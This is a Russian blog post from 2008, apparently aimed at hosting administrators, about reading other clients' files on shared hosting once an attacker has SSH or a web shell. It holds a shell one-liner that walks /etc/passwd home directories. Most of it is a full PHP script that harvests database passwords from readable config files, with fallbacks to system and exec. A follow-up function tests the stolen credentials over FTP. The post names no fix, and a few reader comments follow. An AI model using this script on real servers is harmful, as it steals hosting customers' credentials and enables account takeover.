Дата: 03.05.2008, Категория: Взлома и защита Если вы администратор хостинга или просто интересуетесь безопасностью веб серверов, хочу поведать вам о том, как злоумышленники могут получить доступ к "защищенной" информации ваших клиентов. Например, в случае получения web-шелла к одному из сайтов ваших клиентов.
Идейной основой для написания этого поста было сообщение человека с ником kostich на bugtraq.ru.
Все дело в том, что многие администраторы считают, что поставив на клиентские директории права r-x--x--x, нельзя читать файлы других клиентов. Они, мягко говоря, заблуждаются. Между прочим довольно частая ситуация на различных серверах хостинг компаний.
Что ж, перейдем к сути проблемы.
А вся проблема в том, что есть несколько способов, с помощью которых можно читать файлы других клиентов хостинга.
Сейчас я приведу несколько примеров для ознакомительных целей.
Способ №1 - Если у злоумышленника имеется ssh доступ к сайту.
В этом случае, он может поступить так:
for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/public_html/index.php; done|more
Построчно прочесть файл /etc/passwd, утилитой awk выделить из нее всех юзеров, дальше подставить их в шаблон домашней директории и пробовать читать файлы по маске. В данном случае, index.php.
Для этого нам нужно знать полный путь до домашней директории пользователя.
Минус этого способа в том, что не всегда хватает прав на чтение /etc/passwd.
Способ №2 - Если у злоумышленника имеется web-шелл, залитый на сайт.
Здесь все порядком проще. У злоумышленников есть возможность написать простенький php скрипт, который будет читать /etc/passwd и дальше выполнять функции, о которых я поясню чуть ниже.
Итак, напишем этот скрипт.
<?php
/*
name: ********
author: c0nst (http://secureblog.org)
*/
// функция, которая будет читать /etc/passwd
error_reporting(0); // выключаем вывод ошибок
set_time_limit(0); // не работает при safe_mode = on
$users = get_users();
$conf = array();
$pub = array();
$count = count($users);
for($i = 0; $i < $count; $i++) {
$dirs = '/home/'.$users[$i].'/public_html/'; // путь до домашней диретории
if(is_readable($dirs)) {
array_push($users,$users[$i]);
array_push($pub,$dirs);
}
}
// выводим результат
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
echo "[~] Searching for passwords in config files...\n\n";
foreach ($users as $user) {
$path = "/home/$user/public_html/";
read_dir($path,$user);
}
echo "\n[+] Done\n";
// читаем директории
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while(false !== ($file = readdir($handle))) {
$fpath = "$path$file";
if(($file != '.') and ($file != '..')) {
if(is_readable($fpath)) {
$dr = $fpath."/";
if(is_dir($dr)){
read_dir($dr,$username);
} else {
$config_files = array(
"config.php","config.inc.php","conf.php",
"settings.php","setup.php","dbconfig.php",
"wp-config.php","configuration.php","connect.php",
"db.inc.php","db.php","dbconnect.php",
"index.php","common.php","config_global.php",
"global.php","connect.inc.php","dbconnect.inc.php",
"admin.php"); // массив с файлами, которые скрипт должен читать
if(in_array(strtolower($file), $config_files)) {
$pass = get_pass($fpath);
if ($pass != '') {
echo "[+] $fpath\n$pass\n";
}
}
}
}
}
}
}
}
// функция для выдирания паролей из конфигов
function get_pass($link) {
$config = fopen($link,'r');
while(!feof($config)) {
$line = fgets($config);
// имена переменных которые нам интересны
if (strstr($line,'pass') or strstr($line,'pwd')
or strstr($line,'db_pass') or strstr($line,'dbpass')
or strstr($line,'passwd')) {
if (strrpos($line,'"')) {
preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass); // выдираем пароль из переменной
$pass = str_replace("]=\"","",$pass);
} else {
preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
$pass = str_replace("]='","",$pass);
}
return $pass[2];
}
}
}
// читаем /etc/passwd и выдираем юзеров
function get_users() {
$users = array();
$rows = file('/etc/passwd');
if(!$rows) {
$rows = explode("\n", ex('cat /etc/passwd'));
} else {
die('Невозможно прочесть /etc/passwd');
}
foreach($rows as $string) {
$user = explode(":",$string);
if(substr($string,0,1)!='#') array_push($users,$user[0]);
}
return $users;
}
// в случае если file() запрещен, пробуем другие способы
function ex($cfe) {
$etcpasswd = '';
if (!empty($cfe)) {
if(function_exists('system')) {
ob_start();
system($cfe);
$etcpasswd = ob_get_contents();
ob_end_clean();
} elseif(function_exists('exec')) {
exec($cfe,$etcpasswd);
$etcpasswd = join("\n",$etcpasswd);
} elseif(function_exists('shell_exec')) {
$etcpasswd = shell_exec($cfe);
} elseif(function_exists('passthru')) {
ob_start();
passthru($cfe);
$etcpasswd = ob_get_contents();
ob_end_clean();
} elseif(is_resource($f = popen($cfe,'r'))) {
$etcpasswd = '';
while(!feof($f)) { $etcpasswd .= fread($f,1024); }
pclose($f);
}
}
return $etcpasswd;
}
?> |
На первый взгляд выглядит ужасно, не правда ли? :) Но не все так страшно на самом деле. Сейчас я объясню принцип работы этого скрипта.
Для нача мы определимся, что он вообще делает? Основная задача этого скрипта - прочесть все доступные для чтения конфигурационные файлы в домашних директориях клиентов, затем с помощью регулярного выражения "выдрать" из заданных в скрипте переменных пароли и вывести на экран.
А теперь поподробнее о самих функциях скрипта. В начале мы читаем /etc/passwd с целью получения массива пользователей сервера, затем смотрим какие домашние директории мы можем прочесть. На этом первая часть скрипта заканчивается.
Дальее начинается самое интересное :)
С помощью функции read_dir() мы читаем все доступные public_html директории, затем ищем в них конфиги. Из этих конфигов мы "выдираем" пароли (к бд например) и выводим все это дело на экран.
На этом основные функции скрипта закончились. При желании, конечно, можно добавить туда функцию соединения по ftp протоколу с нашим пользователем и полученным паролем из конфига, например вот такую:
<?
function ftp_check($login,$pass) {
$ftp = ftp_connect('127.0.0.1');
if ($ftp) {
$res = ftp_login($ftp,$login,$pass);
if ($res) {
echo '[OK] '.$login.':'.$pass." Success !\n";
} else ftp_quit($ftp);
}
}
?> |
Да много еще чего можно придумать. Продолжение следует.
Silver Ghost 04.05.2008 Вовремя я закрыл эту дырку в ПХП. :)
http://silverghost.org.ua/2008/04/03/dopolnitelnaya-zashhita-veb-servera/
Victor 04.05.2008 Сразу видно писался скрипт не для блога :).
Вообще, не хватает объяснения что именно и почему неверно настроено в правах на хостинг площадке и как это закрыть, исходя из описанной ситуации. А то вот я, например, не PHPшник и код мне мало о чем говорит. Как Unix админ я тоже так себе, но с задачей настройки прав на своем хостинге сталкивался. Но все равно не шибко из поста понимаю в чем состоит описываемая проблема и как от неё избавиться.
c0nst 04.05.2008 Victor, написал ответ на твой вопрос в новом посте, т.к. здесь бы все не вместилось :)
ссылка - http://secureblog.org/pub/zashita_fajlov_v_linux.html
|
|
О блоге
- Освещение проблем безопасности web приложений и серверов. Поисковая оптимизация.
Ник: c0nst
icq: 331699888
Рубрики
RSS-лента
Друзья и партнеры
Счетчики
|
|